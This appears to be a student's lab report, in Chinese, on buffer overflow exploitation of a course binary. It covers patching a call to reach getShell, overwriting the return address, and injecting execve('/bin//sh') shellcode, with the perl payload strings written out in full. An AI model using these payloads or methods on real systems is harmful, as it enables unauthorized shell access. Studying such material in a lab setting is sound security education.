1.實驗內容
在本週的學習過程中,我瞭解到了許多緩衝區溢位攻擊的實際案例、緩衝區溢位攻擊的原理和相關基礎知識,包括GDB偵錯程式的使用方法、反彙編、基礎的組合語言與指令等,重新溫習了函式呼叫過程和程序管理方面的知識內容。並且透過實驗一,我能夠了解並熟練完成Linux系統實驗相關的基本操作,對shellcode技術有了初步的理解和認識。
2.實驗過程
本次實驗的物件是一個名為pwn20222413的linux可執行檔案。該程式正常執行流程是:main呼叫foo函式,foo函式會簡單回顯任何使用者輸入的字串。該程式同時包含另一個程式碼片段,getShell,會返回一個可用Shell。正常情況下這個程式碼是不會被執行的。
三個實踐內容如下:
(1)手工修改可執行檔案,改變程式執行流程,直接跳轉到getShell函式。
第一步:透過共享資料夾將目標檔案上傳至Linux系統的虛擬機器,反彙編檢視檔案的函式功能。
找到本次實驗所用的三個程式碼片段foo、main和getshell。
檔案中main函式"call 8048491"含義為呼叫8048491處的foo函式,其機器指令為e8 d7 ff ff ff,若修改d7ffffff為,"getShell-80484ba"對應的補碼,即可呼叫getshell。經計算補碼為c3ffffff。
第二步:修改檔案內容,使main呼叫getshell
①輸入vi pwn20222413進入pwn20222413檔案。
②輸入:%!xxd進入16進位制模式,隨後輸入/e8 d7找到機器指令對應位置。
③按i編輯,將d7改為c3。
④輸入:%!xxd -r轉換為原格式後輸入:wq儲存並退出。
⑤再次反彙編檢視檔案是否正確更改
第三步:執行檔案後得到shell提示符,操作成功
(2)利用foo函式的Bof漏洞,構造一個攻擊輸入字串,覆蓋返回地址,觸發getShell函式。
第一步:反彙編,foo函式具有Buffer overflow漏洞,讀取字元超過緩衝區的部分會覆蓋返回地址
第二步:確認輸入字串後哪些部分會覆蓋返回地址
第一次輸入1111111122222222333333334444444455555555
第二次輸入1111111122222222333333334444444412345678
經檢查發現首次輸入eip部分全部被覆蓋為5,第二次輸入時eip部分被覆蓋為1234,對比可以找到覆蓋返回地址的輸入位置,將對應位置改為getshell的記憶體地址0804847d即可修改返回地址,執行getshell。
第三步:確認位元組序
對比第二步第二次輸入eip 0x34333231 0x34333231,正確輸入為11111111222222223333333344444444\x7d\x84\x04\x08。
第四步:構造輸入字串,使用16進位制檢視指令xxd檢視input檔案的內容是否如預期。將input的輸入,透過管道符“|”,作為pwn1的輸入。
輸入ls後得到正確的資料夾內容,成功呼叫getshell,實驗成功。
(3)注入一個自己製作的shellcode並執行這段shellcode。
第一步:修改pwn20222413的設定,設定堆疊可執行和關閉地址隨機化。
第二步:構造注入的攻擊buf並將其注入目標檔案:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
上面最後的\x4\x3\x2\x1將覆蓋到堆疊上的返回地址的位置。
第三步:開啟另一個終端
①找到pwn20222413的程序號為:95182。
②啟動gdb除錯該程序。
③透過設定斷點,來檢視注入buf的記憶體地址。
④在另一個終端中按下回車後,在gbd中輸入c,隨後輸入info r esp。
⑤找到01020304對應的地址0xffffcffc,即為返回地址。shellcode為緊挨著的下一個地址0xffffd000。
第四步:根據shellcode的地址更改shellcode並注入。
perl -e 'print "A" x 32;print "\x00\xd0\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shell
輸入ls得到正確返回內容,實驗成功。
3.問題及解決方案
- 問題1:在修改機器指令部分中,我根據實驗指導直接輸入/e8d7發現找不到目標位置。
- 問題1解決方案:在文件中e8和d7中間有一個空格,所以在搜尋時在e8和d7中間加入一個空格即可找到對應位置。
- 問題2:在注入shellcode部分中,我發現我的虛擬機器中沒有相關的execstack指令,更新資源庫後在虛擬機器中下載對應指令出現報錯Unable to locate package execstack。
- 問題2解決方案:在網路中下載execstack工具包後透過共享資料夾匯入虛擬機器,在虛擬機器中安裝。
4.學習感悟、思考等
在之前的學習當中,我接觸了許多緩衝區溢位攻擊的原理知識和相關案例,但是這次實驗是我第一次嘗試進行緩衝區溢位攻擊。在實驗的過程中,我根據實驗指導一步步推進實驗內容,同時在網路中搜尋相關指令的含義,結合實驗指導和執行結果進行理解和學習。透過實驗,我熟悉了Linux系統的基本操作,學會了實驗相關的gdb、vi操作,對於彙編、機器指令、EIP、指令地址有了進一步的理解。同時我也體會到了自主學習的重要性,在課堂之外,仍有廣闊的知識天地。這次實驗提高了我的自學意識和學習能力,大大激發了我對網路攻防技術的學習興趣和學習熱情,希望能夠在未來的學習中瞭解掌握更多的網路攻防知識。
參考資料
- 《0x11_MAL_逆向與Bof基礎》